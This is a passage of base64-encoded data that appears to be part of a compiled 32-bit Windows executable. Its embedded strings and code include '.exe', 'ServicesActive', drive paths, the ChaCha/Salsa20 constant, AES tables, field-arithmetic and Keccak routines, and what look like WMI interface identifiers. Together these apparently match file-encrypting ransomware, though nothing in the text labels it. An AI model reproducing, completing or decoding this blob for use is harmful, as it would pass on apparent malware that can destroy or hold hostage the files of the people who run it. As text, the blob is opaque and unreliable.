lUOi+DAAAjYWA/v//UI2FaP///1DoFvz//42F0P7//1CNhTj+//9Q6CgJAACNhWj///9QjYXQ/v//UOgVCQAA/3UojYXQ/v//UI2FaP///1DobQEAAI2FaP///1DoQwcAAI2FaP///1DoIwYAAIt9EI21OP7//2oUWfOli30UjYU4/v//ahRZ/3UYjbVo////86VQ6LwIAACDxESNhWj/////dRxQ6KoIAACNhWj///9QjYU4/v//UP91COgCAQAA/3UI6NwGAAD/dQjowAUAAI2FOP7//1CNhWj///9Q6Ez7//9qSI2FIP///2oAUOiMr///g8QwM/ZqAGhB2wEA/7Q1bP////+0NWj////ozygAAImENdD+//+JlDXU/v//g8YIg/5QctCNhdD+//9Q6FwFAACNhTj+//9QjYXQ/v//UOh9CwAAjYXQ/v//UI2FaP///1D/dQzoZQAAAP91DOg/BgAA/3UM6CMFAACDxCBfXovlXcNVi+yB7JgAAACNhWj///9WV/91EP91DFDoLwAAAI2FaP///1DoBQYAAI2FaP///1Do5QQAAIt9CI21aP///4PEFGoUWfOlX16L5V3DVYvsi00IU4tdDFZXi30QiwP3L4kBiVEEi0MI9y+LyIvyiwP3bwgDyItFCBPyiUgIiXAMi0MI928Ii8iL8osD928QD6TOAQPJA8iLQxAT8vcvA8iLRQgT8olIEIlwFIsD928Yi8iL8otDCPdvEAPIi0MQE/L3bwgDyItDGBPy9y8DyItFCBPyiUgYiXAci0MY928Ii8iL8otDCPdvGAPIi0MQE/L3bxAPpM4BA8kDyItDIBPy9y8DyIsDE/L3byADyItFCBPyiUggiXAkiwP3byiLyIvyi0MI928gA8iLQxgT8vdvEAPIi0MgE/L3bwgDyItDKBPy9y8DyItDEBPy928YA8iLRQgT8olIKIlwLItDGPdvGIvIi/KLQyj3bwgDyItDCBPy928oA8iLQyAT8vdvEA+kzgEDyQPIiwMT8vdvMAPIi0MwE/L3LwPIi0MQE/L3byADyItFCBPyiUgwiXA0i0MY928gi8iL8otDEPdvKAPIi0MoE/L3bxADyItDMBPy928IA8iLQyAT8vdvGAPIE/KLA/dvOAPIi0MIE/L3bzADyItDOBPy9y8DyItFCBPyiUg4iXA8i0M4928Ii8i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